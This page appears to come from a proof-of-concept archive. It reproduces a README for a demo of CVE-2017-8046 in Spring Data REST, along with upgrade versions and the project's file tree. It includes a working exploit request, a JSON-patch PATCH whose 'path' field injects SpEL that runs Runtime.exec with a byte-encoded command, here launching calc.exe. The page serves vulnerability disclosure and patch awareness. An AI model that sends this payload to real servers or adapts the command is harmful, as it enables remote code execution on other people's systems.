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关联漏洞

描述

SPRING DATA REST CVE-2017-8046 DEMO

介绍

# spring data rest CVE-2017-8046 demo test

please UPGRADE spring data rest NOW.

## steps

* 启动本应用

* 创建test instance

```http

POST /entityPersons/ HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Cache-Control: no-cache

{
    "firstName":"f2"
}

```

* 利用spel注入, 会启动C:\Windows\system32\calc.exe

```http
PATCH /entityPersons/1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json-patch+json
Cache-Control: no-cache

[
    {
        "op":"test", 
        "path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[] {67, 58, 92, 87, 105, 110, 100, 111, 119, 115, 92, 115, 121, 115, 116, 101, 109, 51, 50, 92, 99, 97, 108, 99, 46, 101, 120, 101} ))", 
        "value":""	
    }
]
```

## upgrade to

* Spring Data REST 2.5.12, 2.6.7, 3.0 RC3
* Spring Boot 2.0.0.M4
* Spring Data release train Kay-RC3

spring boot 1.5.7.RELEASE uses `spring data rest 2.6.7`, but 1.4.x is not upgrade spring data rest version.

文件快照

 [4.0K]  /data/pocs/0dc87e9ebeed247599c11374d6c585165d1e3fd8
├── [6.3K]  mvnw
├── [4.9K]  mvnw.cmd
├── [1.9K]  pom.xml
├── [ 978]  README.md
└── [4.0K]  src
    ├── [4.0K]  main
    │   ├── [4.0K]  java
    │   │   └── [4.0K]  org
    │   │       └── [4.0K]  fornever
    │   │           └── [4.0K]  cve
    │   │               ├── [ 946]  CVEApplication.java
    │   │               ├── [1.5K]  EntityPerson.java
    │   │               └── [ 193]  PersonRepository.java
    │   └── [4.0K]  resources
    │       └── [   0]  application.yml
    └── [4.0K]  test
        └── [4.0K]  java
            └── [4.0K]  org
                └── [4.0K]  fornever
                    └── [4.0K]  cve
                        └── [ 330]  CVEApplicationTests.java

12 directories, 9 files

备注